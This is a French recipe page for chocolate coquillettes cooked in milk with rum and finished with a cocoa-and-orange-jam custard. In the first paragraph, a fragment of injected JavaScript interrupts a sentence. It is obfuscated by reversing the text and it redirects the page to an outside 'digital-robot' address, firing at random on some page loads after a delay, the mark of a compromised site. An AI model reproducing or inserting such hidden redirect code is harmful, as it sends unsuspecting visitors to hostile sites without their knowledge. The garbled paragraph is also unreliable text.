Coquillettes au chocolat
2017-12-29- Thématique : Recettes pour enfants, Végétarien
- Niveau : Facile
Cassez le chocolat en petits morceaux. Versez les 75 cl de lait dans une casserole avec 1 cuillère à soupe de sucre en poudre, les deux cuillères à soupe de rhum, et les morceaux de chocolat, que vous faites fondre sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
- Pour 4 personnes
- 200 g de coquillettes
- 100 g de chocolat à cuire à 70% de matière grasse
- 1 litre de lait
- 2 cuillères à soupe de rhum
- 1 œuf entier
- 1 jaune d'œuf
- 50 g de sucre en poudre
- 2 cuillères à soupe rase de cacao en poudre non sucré
- 1 cuillère à soupe de farine
- 2 cuillères à soupe de confiture d'orange
Préparation de la recette
Etape 1
Cassez le chocolat en petits morceaux. Versez les 75 cl de lait dans une casserole avec 1 cuillère à soupe de sucre en poudre, les deux cuillères à soupe de rhum, et les morceaux de chocolat, que vous faites fondre sur feu doux tout en remuant.
Etape 2
Lorsque le chocolat est fondu et crémeux, incorporez les coquillettes, que vous faites cuire sur feu moyen jusqu'à l'absorption du lait. Réservez.
Etape 3
Dans une autre casserole mélangez 25 cl de lait restant avec le cacao en poudre. Dans un récipient battez l'œuf entier avec un fouet, en incorporant les 50 g de sucre en poudre .
Etape 4
Bien mélanger jusqu'à obtenir un mélange blanchâtre, ajoutez la farine, le lait par petites quantités pour éviter de former des grumeaux.
Etape 5
Versez ce mélange dans une casserole, portez à ébullition, sans s'arrêter de remuer et obtenir un léger épaississement.
Etape 6
Ajoutez la confiture d'orange. Versez sur les coquillettes, mélangez. Dégustez.
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette
Related Recipes:
-
Nouilles aux noix
-
Pâtes fraîches au homard
-
Pâtes au fromage de chèvre et ricotta
-
Tagliatelles au poulet avec ses légumes
-
Pâtes aux coques